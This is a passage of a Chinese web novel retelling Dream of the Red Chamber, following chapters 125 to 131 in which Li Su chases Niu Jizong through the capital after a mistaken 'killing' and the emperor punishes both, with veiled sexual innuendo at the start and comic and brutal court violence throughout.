这么谈正事儿,十分有趣。 李花园急攻,同时挥掌便打:“说话不连贯,就给我重说,不许结巴!” 葫芦闭嘴了,这根本不可能不结巴,但是李素见她不言,用力一拍:“给老子说!” “给老爷说!”秦可卿狡黠一笑,素手用力一拍。 葫芦的眼泪都快下来了,早知道不来了,现在倒好,让人联手给欺负,混合双打。但意外的是这却让她有了十分奇怪的感受,死亡特别快。 因为先前贾珍吃药的那场意外,几人之间也没有多少隔阂。 一个下午,天香楼香气四溢。 皇宫给李素心头留下的阴影全然消散。 李大老爷看着重生归来,还没有完全恢复身体的葫芦道:“你们府里的那些人不可能完好的回来了,现在空了,多安排发展一些自己的人进来,管家的事儿,你可以自己先管起来。” “我?这抛头露面的,行么?” “愚蠢,你没看琏二嫂子,哪天不抛头露面,有什么影响么?” “我……我怕我做不好。” 可卿忽的蹲坐起来对葫芦道:“我帮你啊,婆婆,这事儿我早就想干了。” 宝珠在一侧轻笑,自己奶奶的被子滑落,竟不自知,于是顺手给她披了上去:“奶奶,小心别着凉。” “不打紧,现在还热着呢。”秦可卿继续看着尤氏道:“府里现在人变得更少,多数还是些个丫鬟仆妇,更好管了。” 李素对着水囊又扇一巴掌:“可卿说的对,管家的话,我可以跟你说句实话,赖二肯定是回不来了,赖大也会被牵扯进去,所以你就放心去管。” “大老爷那里?” “你是说贾珍么 ,他往后就不大能起的来了吧。” 贾珍还真起来了。 回府后洗漱整理,后来大夫来了,重新给他的脑袋进行了包扎,不幸的消息是脸上的伤口有些化脓了。 不化脓才怪,诈尸的时候,被李素做法,就沾染了血尿那些不洁的东西。 后来又被抓进了诏狱,地下阴森,湿气又重,不知道滋生了多少病菌,他的伤又不是现代的医用纱布那么严实。 于是又被二次感染,大夫给他上了药,重新做了包扎,而这只是脸上的伤,让他更为痛苦的是高烧。 一阵冷一阵热,迷迷糊糊,刚才又被强行叫了起来。 是镇国公家的牛继宗来了。 被牛继宗拍醒的贾珍,强撑着坐了起来。 “世兄,怎么来了?” 虽然看不见,贾珍还是强行扭头行礼。 牛继宗看着扭头冲着墙拱手行礼的贾珍,嘴角抽了抽,憋住笑回道:“听说世兄出狱我来看看,顺便有笔账算一下,蓉哥儿呢?” “多谢世兄关心,我……唉……蓉哥儿,好似球囊的也病了,世兄说的帐是何帐?”贾珍再次冲着墙拱手。 “大伙儿为了祭奠你,搭了十里祭棚你知道么?” “啊?我……我不知道啊,我又没死,你们为何搭棚子咒我啊。” 他知道这事儿,李素跟他说了,但此时心中明白,让牛继宗亲自出面的账,必然不会少。 而且西府报丧藏着祸心,他不能这么算了。 “你,你不知道?” 牛继宗有点儿急。 “你们为何咒我?我们同气连枝啊,怎么能做这等事?” “是你们贾府报的丧!” “我宁国府报丧了?” 牛继宗气笑了:“好,好,好,贾将军,暂且不说是不是你宁国府报的丧,我们因为情谊给你搭了十里棚子,这情分你得认吧。” “我,不认。” 贾珍冲着墙摆手。 第126章 老爷被杀了! “你不认?” 这,完全出乎牛继宗的意料。 他们已经商议好了,先说钱财,按照四百万两银子的方案递交给皇帝,贾家两府承担一百万两,其余三百万两十家共担,每家三十万两。 不至于伤筋动骨,又差不多能在皇帝那过的去。 这两家也就比大伙儿多出二十万两,算是棚子钱的损失了,商议完后,就推举牛继宗来贾府说这个事儿,抓紧定下来,好把这场危局给平掉。 原本他们还担心贾珍在牢里,这事儿办不了,可喜的是贾珍出狱了。 但,如今却不认账! “我如何认啊,我没死啊,世兄,你们搭棚子祭奠我,如果你没死我搭棚子祭奠你,你认吗?” 说着说着,贾珍竟然嗷嗷的哭了起来。 慢慢的嚎啕大哭,他是真伤心了,那一夜吃完酒他就开始倒霉,被当成诈尸弄了一次,诏狱都进了一次,差点儿没吓死。 太惨了,几十年锦衣玉食,养尊处优,何时受过这样的罪。 牛继宗有点傻眼儿,本来以为很轻松的任务,他甚至认为贾珍应该感激涕零才对,怎料到他是如此面对自己的老亲、盟友、恩人? 贾府两个承爵人,一个贾赦,一个贾珍,他预料贾赦可能会有些难说话,那是个贪财的混账,完全没预料以为不会出问题的贾珍变了。 不能这么算了,不然这银子谁拿? 这点事儿办不好,大伙儿怎么看他牛继宗,怎么看他镇国公府? 想到这里,急躁的牛继宗伸手一拍他的肩膀。 “不许哭!” 牛继宗突然扬起手来,狠狠地给了他一巴掌。 这一巴掌力道极大,打得贾珍猝不及防,正冲着墙哭的他脑袋结结实实地撞在了墙上,发出了“咚”的一声闷响。 随即,贾珍便如同一滩烂泥般软绵绵地倒了下去,一动不动。 牛继宗一时间也愣住了,完全没有想到会出现这样的情况。 然而,还未等他回过神来,就听到身后传来一阵惊恐的呼喊声:“杀人啦,老爷被杀啦!”他猛地转过头去,发现一个长得白白净净的小厮正瞪大了眼睛,一脸惊惧地望着自己。 牛继宗连忙开口解释道:“不是,你们家老爷……” 可是,话还没说完,那小厮已经像是发了疯似的,拔腿就往外面跑去。 外间的丫鬟,也被吓得哭喊着往外跑。 一边跑,他们嘴里还不停地大声喊叫着:“杀人啦,老爷被杀啦!杀人啦,老爷被杀啦!”声音尖锐而刺耳,在整个院子里回荡着。 寿儿!还是他! 谣言的传播者,舔血贾珍的变态小厮,宗祠大火的时候,他根本就不往上凑那种热闹,所以最后抓人的时候,也没有他。 所以他一直在宁国府里,现在老爷回来了,他又来伺候,进门就见到牛继宗打贾珍的一幕。 牛继宗坐蜡了,不去理会外面的事儿,他探了探贾珍的鼻息,才放下心来。 晕过去了! 但是,事儿不能就这么过去,于是他想了想走到外间找到一盆水,打算泼醒贾珍,但端起来后,才想起来,贾珍的脑袋被裹得结结实实的,冷水根本激不醒他。 真他娘的,牛继宗骂了一嗓子,起身准备去荣国府,等把那边儿谈完再回来,贾珍也应该醒了。 于是他叹了口气,转身就往外走,等出了院子,就见门外的各处墙角树后影影绰绰的藏着人,对着他指指点点。 自己在屋里见过的那个小厮,颤抖着在十步外冲着他喊:“我们已经报官了,你杀了我家老爷!” 另有小厮喊道:“牛伯爷,为何杀我家老爷?” 牛继宗看去,是迎自己入府的门子。 “呔!我没有杀你家老爷!” “我看见了,你拿着我家老爷的头,往墙上撞!” 造谣?这他娘的什么东西?牛继宗气的骂娘,那是贾珍自己撞的,他没法解释这种细节,于是对着众人道:“你家老爷只是晕过去了,没死!” “明明死了啊,老爷啊……你就这样被人杀了啊,呜呜呜。” 寿儿哭嚎起来。 牛继宗再也忍不住了,对着寿儿破口大骂:“我干你娘的,就你个王八蛋造谣,我杀了你!” 寿儿见状转身就跑,边跑边喊:“杀人啦,救命啊,他杀了老爷!” “老子非得弄死你个王八犊子!” 牛继宗甩开大步就追,其他人也开始四散奔逃。 没多久,寿儿就被牛继宗追到了身后,经常跟贾珍 酒醉金迷玩贴贴的寿儿,根本跑不过常年练武的牛继宗。 眼看就要追上,牛继宗猛的一使力,身子往前窜,把寿儿扑倒在了地上。 寿儿惨叫一声,大喊:“老爷饶命。” 气急了的牛继宗哪会听他说话,坐在他的背上,举起拳头对着他的脑袋就砸了下去,高低要先出一口气再说。 几个老拳下去,惨叫的寿儿,不停的求饶。 “牛老爷,莫打啊,我会舔鸡儿。” “啥?” 瞬间反应过来这是个什么东西,被恶心的他又一拳砸了下去,这一拳砸的更重了,而且正砸在了寿儿的后脑勺上。 只见寿儿的身子抽搐了一下,晕了过去,再也不动了。可能是脸跟地面撞的狠,鲜血开始从口鼻开始往外流。 牛继宗见状,赶紧从这个恶心的东西身上爬了起来,对着地上的寿儿又吐了一口唾沫,骂了一声晦气。 只听得身后一声怒喝:“呔!好大的胆子,竟敢在这国公府内行凶杀人!快随我去见官!” 他冷不丁被这突如其来的吼声吓了一跳。 下意识地扭过头来,瞬间感觉一股寒意扑面而来——只见一柄黑黢黢的长剑,直直地指向了自己的咽喉! 牛继宗定睛瞧,心中不禁一凛,持剑之人竟是李素! 花园子爵李素! 是敌人! 不久前的码头上,见过他,就是那个迎着夕阳向皇帝报功的李素。就是之前在扬州坏了自己等人大好事的李素。 他搞不清楚,李素怎么在贾府。 “误会,我是镇国公府,一等伯牛继宗!” “我不管你是牛继宗还是马继宗,杀了人就要偿命,跟我去见官,我刚才听说珍大哥被杀了,也是你干的吧?” 牛继宗顿时迷糊了,珍大哥? 贾珍怎么跟敌军搅和在一起了? 这他娘的到底怎么回事?发生了什么? 牛继宗有些迷茫,甚至忘记了自己脖子还被长剑抵着。 第127章 当街追杀 “不跟我去见官,你就死吧!” 这一声怒喝如惊雷炸响。 随后一脸怒容、双目圆睁的李素,右手高举着大黑剑,作势便要朝着牛继宗猛力挥下。 牛继宗完全没想到李素竟然如此暴躁,他瞬间回过了神儿来,惊恐万分之下,转身就跑。 李素提起宝剑紧追其后。他一边飞奔追赶, 口中还不停地大喊道:“杀人偿命,欠债还钱,贼子休走!” “他们没死,我没杀人!” 牛继宗边逃边嚷。 “放你娘的屁,我都听见了,你杀了珍大哥,你杀人灭口乃我亲见!” 二人一路追逃,不到一炷香的功夫就出了宁国府,出了府门,牛继宗见到了自己随从,瞬间大喜。 急喝一声:“给我拦住追我之人!” 随后继续向前跑。 那把剑太吓人了,刚才路上他亲见李素为了砍他,削断了他用来躲闪的三棵碗口粗细的树。 冲出宁国府门的他,很快就听见了身后的惨叫声,牛继宗心中咯噔一声,吓得不敢稍停,继续狂奔。 直到跑出了百步,他才心有余悸的扭头看,一看之下,他跑的更快了,因为李素在这短短的时间里,已经砍倒了了自己的四名护卫。 满身鲜血,如疯魔一般又追了上来。 牛继宗嗷一声,撒腿继续逃。 把吃奶的力气都使了出来,嘶声喊道:“我没杀人,他们没死啊!” 声音无比委屈、凄惨。 但李素好像没听见一般,此时就是个莫得感情的机器,挥舞着宝剑边追边喊:“杀人偿命,欠债还钱,贼子休走!” 牛继宗见李素如此疯狂,扭头就往皇城方向跑,那边安全。 于是二人一路追逃,很快出了宁荣街,朝着皇城方向跑去。 这一路之上,路过的勋贵官员,都惊愕得瞪大了双眼,不可思议的看着李素追杀牛继宗的场景。 一脸怒容的李素手持长剑,牛继宗则在前面狼狈逃窜,边跑边喊冤,脸上满是惊恐之色。 众人简直不敢相信自己的眼睛,堂堂一等伯牛继宗竟然会被人当街如此追杀! 而且追杀他的赫然就是新封当红子爵李素! 这是为什么? “贼子牛继宗,残杀三等将军贾珍,本爵亲见他杀了人证,拦住贼子大功一件!” 开始牛继宗还能分辨两句,后来发现太影响逃命的速度,于是闭口不言,闷着头猛跑。 而则李素一路喊,一路追,中气十足! 在众人看来就是牛继宗杀了人逃跑,李素在追凶。 贾珍又死了? 这消息瞬间随着李素追杀牛继宗的消息,一并传了出去。 就这样,又连续追逃了三条街后,眼见前面就到了皇城,牛继宗大喜过望,但此时他快不行了,每一步都像是踩在了棉花上。 双腿如同被灌了铅一样沉重,呼吸变得异常急促,仿佛整个胸膛都要炸开似的。 而在他身后不远处,追杀他的李素,同样也是气喘吁吁、跌跌撞撞。 就在两人都快要支撑不住的时候,突然听到前方传来一阵呼喊声:“住手,快住手!”紧接着,只见一队身着金甲的龙禁卫和一群身穿皂衣的衙役如潮水般朝着他们这边涌了过来。 “李花园住手!” 李素大喜道:“季将军,帮我捉住杀人犯牛继宗。” “我……呼…我没杀啊!” 牛继宗好像见到了失散多年的亲人,眼泪都快下来了。 “牛伯爷,李爵爷,皇上有旨,请二位进宫。” “皇上知道了?贼子,你末日到了!” 李素朝着牛继宗呸了一句。 “好了,二位莫要吵了,随我进宫面圣吧!”季宗礼拦住了他们。 四王八公这些人也得了信儿,心里都莫名其妙,牛继宗不是去找贾珍要银子去了么?怎么把贾珍杀了? 他们一头雾水,疯跑着去宁荣二府打探消息。 牛继宗和李素被带到了太极宫西暖阁。 忠顺王竟然也在。 雍和帝还没开口,忠顺王对着跪着的二人就破口大骂:“你们也是朝廷的勋贵,众臣,当街追杀,丢不丢脸?朝廷的威仪何在?陛下的脸面何存?” “这位穿麒麟的前辈,本爵追拿杀人凶手有何错漏?” “李花园,这是忠顺王爷。”夏守忠提醒了他一句。 “见过忠顺王。”李素对着忠顺王拱了拱手。 “都闭嘴吧。”雍和帝一摔手中 的奏折,看了看跪在下面的二人。 “谁先说?” “陛下啊……臣先说。” 牛继宗实在憋不住心里的委屈了,听到皇帝问话,迫不及待的就开口了。 “你说。” “臣今日……去宁国府找贾珍商议事情,谈的不是很愉快,于是臣……就…”牛继宗犹豫了一下。 “你就杀了他?” “我没有!” 雍和帝有点儿火了:“李素!要不你来说?” “呵呵,也行……那,那,还是牛杀人犯先说吧。”见雍和帝面色越来越不好,他自觉的闭嘴了。 牛继宗被打断了思路,一时想不起怎么编更好了,于是干脆实话实说:“臣就给了他一巴掌,他躲闪不及,一脑袋撞在墙上晕了过去。” “陛下,牛继宗说谎!” 见雍和帝没说话,李素继续道:“我们都知道,贾珍被缠了满头的白布,目不视物,请问牛伯爷,他是如何躲闪不及的?” “啊,臣口误,他没有躲闪。” “陛下,牛继宗说谎,臣熟悉贾珍屋内的布局,牛伯爷和贾珍谈话,贾珍应该离墙有距离,你如果不拿着他的脑袋撞墙,他自己是撞不到墙的。” 牛继宗赶紧解释:“这……陛下,贾珍跟臣说话时,他是冲着墙说的,所以撞了墙。” “他为何冲着墙说?” “因为他看不见我,脑袋都被缠了布,不知道哪个缺德的大夫连他的耳朵都被裹了两层,所以他不知我在哪个方向。” “你为何不提醒他?” “我……” 牛继宗是觉得贾珍好笑,看贾珍的笑话,所以没提醒他,但这话有点儿不好开口了。 “额,作为老亲的你是为了看贾珍的笑话吧。” 李素直接揭开了他的心思。 看着李素讥讽的笑容,牛继宗面色涨红,支吾了一阵。 索性不再回李素的话,对着皇帝伏下身去叩头大声道:“陛下明鉴,贾珍没死!只是被臣打晕过去了,当时恰好有个小厮进来,以为贾珍被臣打死了,他大喊奔逃才有了后来的误会。” “那你为何要杀那小厮?” 第128章 立人设 “臣闹他胡乱喊话,故气急之下打了他,呃……打晕了他。” “你打了他几下?” “两三下……不记得了。” “何止两三下,二三十下也是有的,你以为我没看到?按照常理,再大的气七八下差不多气也就消了,而你竟然打了那么多,还说不是杀人灭口!” “我……” 牛继宗的脸上一阵红一阵白。 “你什么你,牛继宗!现在陛下面前你还想狡辩?” “陛下明鉴,实在是,实在是那小厮太恶心了,他竟然说舔臣的……鸡儿…”牛继宗说完捂着脸在地上趴着再也不抬头了。 “那他也是要讨好你!” 李素憋着笑大声呵斥。 此时忠顺王再也憋不住笑,在一边赞叹:“咕咕……哈…妙人儿,妙人儿啊!” 牛继宗气的直哆嗦,但就是不抬头。 雍和帝冷哼一声,看向李素:“你呢?他即使杀了人,你报官就是,为何追杀他至皇城?” “臣,性情中人,冲动之下想亲自拿人…嘿…立功。” “朝廷的体面让你们糟蹋个干净!你们俩到殿外跪着去!忠顺王,你亲自去宁国府查看两人生死。” “臣弟领旨!” 忠顺王乐呵呵的高声领旨出去了。 李素也不再多话,起身出了殿门,到殿外就跪了下去,牛继宗随后掩面出来也跪了下来,只是离着李素倒有十步远。 今天干这事儿,当然不是他冲动了,搞清楚是牛继宗在宁国府作案后,死不死人李素不在意,但他知道机会来了。 于是立刻下了决心,追杀他! 追给所有人看! 否则真要杀牛继宗,一剑就刺穿了他的咽喉,根本不会给牛继宗逃跑的机会。 这是进一步向皇帝表达明确站队的态度,更是他向外亮獠牙的机会。 他即将上任兵马司,这是向朝堂迈出的第一步。 所以他用自己的行为告诉朝堂,他李素脾气不好,一言不合就砍人,是莽夫,是血性少年,是二傻子! 是个癫子,谁惹我,我咬谁! 荣国府。 贾母得到信儿简直麻了。 贾珍被牛继宗杀了! 这是为什么? 这两日没注意东府,一个不留神又出了这么大的事儿。 这还是赖大关心自己兄弟,一直盯着宁国府的动静,得到这消息后第一时间汇报给了贾母。 不然,荣国府根本不清楚出了这等大事。因为经过之前的惊吓,这两日荣国府众人的心头一片晦暗,根本无从关心其他事。 尤其他们对东府贾珍一肚子意见,此时半分都不想搭理东府,这次让自己在老亲面前闹了好大的笑话,甚至差点儿被当成反贼,府门都被围了。 “快,叫你们大老爷和老爷。” 贾母按下心中震惊,吩咐赖大。 赖大忙着飞跑而去。 贾赦、贾政二人也在家默默的舔伤口。 当时季宗礼带人走的时候,知道这两人不是造反,更不像贾珍连夜逃亡,网开一面没有把他俩给关进大狱,而是勒令在家候旨。 两人得到这信儿,忙不迭的就往贾母房中跑。 赶巧和来打探消息的理国公家的柳芳、齐国公家陈瑞文走了对头。 “世兄,牛继宗为何杀珍侄儿?” “世兄,牛继宗果然杀了贾珍?” 双方见面心中着急,不由得同时开口。 说完后大眼儿瞪小眼,原来都不是知情人! “世兄,一起去见见我母亲吧,我们也是刚得到信儿。”贾赦反应快,赶紧邀请二人。柳芳和陈瑞文于是跟着兄弟二人去见贾母。 见面后,一说开口,全都不是知情人,得知北静王已经带人去了宁国府,干脆就一起出发到宁国府查看情况。 等他们到了东府后,他们不光见到了北静王等人,还见到了忠顺王。 “呦呵,老太君也来了。” 忠顺王阴阳怪气。 贾母冷冷回道:“老婆子见过忠顺王爷。” 双方是仇人,忠顺王和贾代善是仇人,当年因为领兵问题起的龌龊,虽然这么多年没有来往,但仇恨却一直在。 “哎呀,你们贾府真是了不起,诈尸……啧啧,还没死,但这好似又被自己的老亲给杀了,真是该死的都难逃那一刀啊。” 忠顺王继续嘲讽了起来。 北静王见这情形,只好站出来道:“忠顺王兄,不知道皇上怎么说?如今牛继宗如何了?” “哈哈哈,皇上没怎么说,就是让本王来弄清楚贾珍的死活,牛继宗啊,你们放心他没被李素砍死,现在宫里等着信儿呢。” 接着他又看向了贾母、贾赦等三人:“你们贾家何德何能?竟然让李素为了给贾珍报仇,追着牛继宗砍了八条街……呃,不对,是追着牛继宗砍,追了八条街!” 李素给贾珍报仇? 贾母等人,心中诧异,素哥儿竟然这么拿自己当亲戚? 他和贾珍的关系这么好? 这么讲义气? 讲义气的李素正在接受嘲讽。 “呦呦呦……这是谁啊?这不是上午刚出宫的素大爷么?怎么又回来了?还在这跪着?哎呀多冷的天啊,跪在这儿舒坦不舒坦啊?听说你为了贾珍杀旁边的黑大个儿?这么讲义气?跟老子怎么没这义气?” 滇王李元亨趴在一个担架上,被四个太监抬着,对着李素就是一顿喷。 跪在不远处的牛继宗脸更黑了。 “呵呵,你来的正好。”李素听他喷完,就站起身一把薅住了他担架下面铺的软垫儿,一只手摁住他的背,一只手用力一拽,瞬时就给抽了出来。 “你他娘的不许动老子的软垫儿。” 李元亨大骂,急眼的他同时双手去抓李素,想抢回来,但哪里抓的到?于是对着四个太监破口大骂:“快,你们几个逼养的,抬着老子捉住他!” 李素快速躲开:“你追啊,对你追我,我抗旨不跪,责任就是你的,来!” “停!你这奸猾的小人,老子就不该来看你!” 李素冷哼:“你是来看我的么?你是来看老子笑话的!” “哈哈哈……你完了,你完了李素,你在父皇殿前要给我当老子……嘎嘎嘎…” “我说什么了?” “你说我来看老子笑话…呃,不是!”李元亨住嘴了,这话从他嘴里说出来就不对,他随后对着牛继宗喊道。 “黑大个儿,你刚才听见了吧。” 牛继宗高声道:“启禀王爷,臣听见了!” “去,你去我父皇面前告他一状!” 第129章 我银危矣 “遵殿下旨意!” 牛继宗大喜,答应一声,起身就要往太极殿走。 李素见状拿起从李元亨那里薅来的软垫儿,几步窜到牛继宗身后,罩着他脑袋上一扣的同时,拳头就砸了上去。 牛继宗忽感一阵风从脑后袭来,正要转身躲闪,随后头顶一暗,脑袋就挨了连续的打击。 李素此时双倍加持的力量,打在牛继宗的脑袋上,是何等之重。 三五拳下去,只听的牛继宗闷哼几声,身子一软就扑倒在地,晕了过去。 李元亨在担架上趴着看的目瞪口呆,半晌才合上了嘴巴,冲着李素竖个大拇指。 李素冲着他咧嘴一笑。 李元亨感觉后脑勺发凉,他伸手抽了一把抬着他的太监:“风紧,扯呼!” “快走,你们聋了吗?” 太监这才明白李元亨的意思,抬着他就跑,一会儿的功夫就不见了踪影。 李素嗤笑一声,把软垫儿往膝盖下面一垫跪了下去,裹了裹身上的黑貂皮裘,继续执行雍和帝给的跪令。 四周执勤站岗的侍卫和太监,看着刚发生的这一切,就好像看神仙妖怪,何其嚣张?皇帝驾前何人有过如此凶残的行为? 打晕了一等伯,抢皇子,骂皇子,吓跑了皇子! “瞅什么瞅?再瞅连你们一起揍!” 众侍卫和太监心里打了个哆嗦,慌忙移开了视线,不敢再看他。 李素跪好,面色也沉静了下来。 宁国府。 忠顺王、北静王、贾母贾政等人各自黑着脸,不再说话往府里走。 不多时一起涌入了贾珍的小院儿,此时先一步入府探查的太医、仵作等人见忠顺王来了,赶紧起身行礼。 “别废话,怎么样?” 贾母也拉住了抽泣的尤氏悄悄问话。 太医道:“王爷,贾珍还没死,但也差不多了。” “怎么说?” “他先前受了伤、发了高烧、后来又受了惊吓,王爷请看……这一撞,贾将军头部又出了血,晕了过去,现在人没死,但是何时醒来却难说了。” 忠顺王定睛瞧,贾珍头裹着白布,额头一块儿渗出了一片红,此时血色已干,呈现黑色状。 这奇异的造型让忠顺王憋笑不已,随口问道。 “确定这个是贾珍本人么?” “禀王爷,这确实是我家老爷。” “你是?” 贾母冷声道:“这是珍儿的媳妇。” “啧啧,贾将军好福气啊,如此看来牛继宗谋杀贾珍未遂。” 北静王面色一变,沉声道:“忠顺王爷,不是谋杀!” “王爷,王爷,那小厮死了!” 外面进来一名侍卫汇报。 忠顺王看着满屋子人道:“哈哈,瞧瞧,瞧瞧,花园子爵说的没错,牛继宗果然是杀人灭口了。” 北静王则盯住了进来的侍卫问道:“果真是牛继宗打死的么?” “这……尸体已经抬了过来,在院子里,太医和仵作都在。” 忠顺王瞪侍卫一眼:“走,出去看看。” 众人呼啦啦一涌而出,到了院子里,只见太医已经起身,仵作还在拿着寿儿的脑袋反复的摸索。 见忠顺王等人出来,太医开口道:“王爷,这小厮后脑被击打后,头撞在地面上,口鼻出血,许是一击而死,许是昏迷后冻死,故真实死因难以断定。” 仵作也起身道:“王爷,他身上没有其他的致命伤。” “这么说确实是因为牛继宗而死?” “是。” 忠顺王蹲下打量了一下寿儿的模样,摇头道:“可惜了个好模样儿,走,回宫报给陛下!” 说着转身就走,再不理会在场的众人。 柳芳有些急眼,看向了北静王:“王爷!” “我们不能去,我们若去就成了逼宫,这是害老牛,这样按照大周律,失手打死贱籍仆役者罚银二十两,让老牛家去顺天府报案交银子。” 说完此言,北静王轻笑一声:“然后,若老牛回不来,便向顺天府要人。” 众人听完松了一口气,暂时放下了心来。 贾赦随后引着众人又回屋落座。 贾母向北静王颔首:“还是王爷智比海深,让咱们都有了主心骨儿。”众人纷纷附和,冲着北静王就一顿吹捧。 “老太君,谬赞了,我有一事要请教,牛继宗可向贵府说起摊银之事?” “摊银?什么摊银?” 贾家众人满头雾水。 北静 王心里骂了一句牛继宗败事有余,开口向贾府众人解释了一遍缘由,说完后他叹了一句:“如今人为刀狙,我为鱼肉,还是要尽快平息了此事才好。” 贾母非常认同北静王的话,五十万两对贾府来说还能承受的住,她频频点头正要开口答应。 “这银子,我荣国府却不应该承担这么多吧。” 是贾赦,不出牛继宗所料,他开口了。 北静王看了他一眼,心累。 柳芳眉毛一竖:“贾恩侯,你此言何意?” 贾赦正要与柳芳理论,贾母气的一顿拐杖,指着他道:“你给我住口!”随后他看向北静王道:“这银子当出,王爷费心了。” “老太君明理,我等幸甚!” 贾母含笑点头,随后她看向尤氏:“珍儿媳妇,如今珍儿不醒,此事你就来做主,从府里提出五十万两交于北静王爷。” “我……我,我不敢。” 尤氏闻言支吾道。 贾赦眼中精光一闪:“我来办,库房钥匙在哪里?” 李素还不知道,他计划中的银子危险了,那是他计划留给自己和秦可卿所生儿子的银子。 他正在看着牛继宗乐。 牛继宗没多久就醒了过来,被冻醒的,他爬起来重新跪好后,扭头怒视李素:“刚才是不是你打的我?” “不是。” “除了你还有谁?” “那谁知道?谁看见了?” 牛继宗向左右看了看侍卫和太监:“你们说,是不是他打的我?” 李素也冷冷的看向他们。 一众侍卫和太监扭开了脑袋。 牛继宗的牙齿咬的咯咯作响,想他牛继宗何时受过这等屈辱?不说爵位,就说军职,以后在五军都督府还有何颜面发号施令? 他向西暖阁的殿门看了一眼,又看了一眼李素那讥讽的眼神,怒气上涌,呜嗷一声跳起身来,就冲向了李素。 第130章 小聪明 西暖阁内。 夏守忠轻手轻脚进来,在雍和帝耳边道:“陛下,他俩又打起来了。” “嗯,胜负如何?” “牛继宗又被打晕了过去。” “拳怕少壮啊。” “还真不是,李花园的身手相当不错,牛继宗也是武艺传家,却完全不是李花园的对手。” “堂堂正正?” “是。” 雍和帝放下了手中的奏折,手指轻扣桌面,过了一会儿道:“把李素的软垫抽走,把冯唐叫来,殿前的侍卫和太监全部杖毙,召集宫人和侍卫,让他们看着杖毙。” “遵旨。” 夏守忠转身出了殿门,来到李素面前,也不说话,蹲身就抽他膝盖下的垫子。 李素按住了他的手,瞪着眼睛:“老夏,你作甚?我跪的时候这里就有,你莫动!” “这是圣旨,子爵大人要抗旨?”夏守忠笑眯眯的道。 “呵,不敢。” 夏守忠把软垫儿薅了出去,随后盯着他问:“牛伯爷怎么晕倒了?” “想必是年老色衰,受不得冻吧。” “喔,原来如此,来呀,把牛伯爷抬进殿内,暖暖身子。”夏守忠向旁边的太监吩咐了一声。 “我呢?” “陛下说爵爷年轻力壮,想必是不用暖的,须得去去火气。” 李素闭嘴,皇帝开始敲打他了。 夏守忠看了看天色,太阳已经开始偏西了,几个人影匆匆向着太极宫而来,他抬手遮了遮光线,看清楚了,是忠顺王回来了。 不由得看了眼李素,真是好运气,这顿跪罚算是结束了。 忠顺王到了殿门疑惑道:“牛继宗呢?” “冻晕过去了,正在殿内暖身子,王爷请跟我来。” 李素于是眼巴巴的看着他们进了殿门。 “这么说,牛继宗只是打了贾珍,然后气急之下又打了造谣的小厮,宁国府现下人少,导致无人发现并施救那小厮,然后便死了?” “真实情形确实如此。” “还有不真实的情形?” “牛继宗谋杀贾珍,并不知贾珍未死,随后追杀人证灭口,被花园子爵撞破,并当街追杀于他,这也是真实情形,陛下定夺。” “嗯?” “这是皇弟与太医、仵作共同查证的实情。” “牛继宗为何谋杀贾珍?” “啊……这?许是分赃不均?因爱成恨?横刀夺爱?皇兄不知,那小厮长的怪可人的,可惜了啊,啧啧。” “滚,这也能站得住脚?净会耍些个小聪明。” “嘿,臣弟愚钝,只能帮皇兄办点儿小事儿,臣弟告退。” 忠顺王弯身,一脸狗腿相,就退出了西暖阁。 雍和帝笑了笑:“夏公公,你去,把忠顺王查探的这两种情形说给牛继宗听听。” “老奴遵旨。” 忠顺王出了出了殿门后,随后嘴角勾了勾,挺直了身子缓步向外走去,没走几步就看见了前方跪着的李素。 他的身子瞬间又弯了。 满脸笑容乐颠颠儿的跑到李素近前:“小兄弟,好样儿的,本王活了这么些年,还是头一回见你这么莽的,了不起,了不起!” “王爷说的对,那是我没来,我若早来,你早见到了。” 忠顺王眼睛一眯:“小兄弟,你还小,还年轻,以后保不齐咱们还会共同做事,说话别这么冲!” “我冲了吗?” 忠顺王看着李素那不解的表情,一时竟也拿不准他是真是假了:“小兄弟,你看这样行不行,以后你若是遇到我忠顺王府的事儿,先别冲动,给我打个招呼再办,行不行?” “呃,那行吧。” 李素暗笑,这人设的好处就来了。 “嗯,回见。” 忠顺王拍了拍李素的肩膀就向外走。 “王爷,你调查的结果如何?” 忠顺王脚步一顿就欲开口,猛然他想起了什么,回了一句:“你猜!”再不理会李素的问话,挺着胸向皇宫外走去。 猜你大爷! 李素扭头看着他的身影消失,再回过头来发现周围的侍卫和太监不知何时都走了,于是他起身揉了揉自己跪的生疼的膝盖,轻手轻脚的走到了殿门,探头向里张望。 “李子爵,请退回去,否则杀无赦。” 两名太监从门后闪身出来,面无表情的看着他。 “我就是想如厕,不知道位置,打算进来问问。” “请退回去!” “好 。” 刚退出殿门,就听里面脚步声传来,随后就见夏守忠走了出来,满脸笑容的看着他道:“李花园,你可以走了。” “我这就可以走了?牛继宗呢?” “呵呵,老奴送您出宫。” 李素眼睛眯了一下,笑道:“好,有劳夏公公了。” “您不是叫我老夏么?还是叫老夏的好,咱家喜欢这叫法儿,这边儿请。”夏守忠边说着边引着李素向东侧走去。 “老夏,咱们怎么走这边儿?不是向南么?” “呃,这是宫中值宿的规矩,不定时的变化,口令也是经常变化,毫无规律。” 李素点头表示明白。 一路向东,二人无话,李素脑子里不停的盘旋着牛继宗的事儿,有些想不明白,这有什么不可说的? 咱们不是一伙儿的么? 老子站队站的还不够明白? 现在看来,里面似乎还有事儿啊。 正要出东侧宫门时,忽然听到了一阵阵的惨叫声传来,李素抬眼望去,只见偏南侧的一片广场上,站满了人,有宿卫有太监,甚至还有宫女,站的整整齐齐。 而广场的中间搭了一个高台,高台上站立着十余名侍卫,举着长棍正在往下打,就是离的有点儿远,一时间看不清楚在打谁。 “李花园,瞧什么呢?”夏守忠笑眯眯的扭头看着他。 “前面那是做什么呢?” “额,要不咱们去瞧瞧?” “我可以瞧?” “看您说的,别人不行,您还不行么?陛下可是拿您当子侄的。” “好,去看看。” 两人转过身朝那边走去。 随着距离逐渐拉近,李素终于看清了。 只见那趴伏在台子上的一共有八个人,看穿戴其中四个是侍卫,另外四个则是太监。 有些眼熟,仔细瞧,这些正是方才在西暖阁门前值守的人! 负责行刑的侍卫正高高举起手中的刑杖,每一下击打都带着凌厉的风声,重重地落在那些人的背上。 紧接着便是皮肉被撕裂开来的声音,鲜血瞬间四溅而出,染红了整个台面。 受刑之人发出一声声凄厉至极、惨不忍闻的叫声。 夏守忠悠悠的在在李素耳边道:“陛下殿前值守,却被外臣威胁不敢言,不敢动,不敢看,刑杖毙!” 第131章 恩威并施 夏守忠的话如同带着一股凉风,吹在了他的心头上。 有些冷。 “夏公公咱们走吧。” 这皇朝社会,果然不是请客吃饭。 温情?不存在的 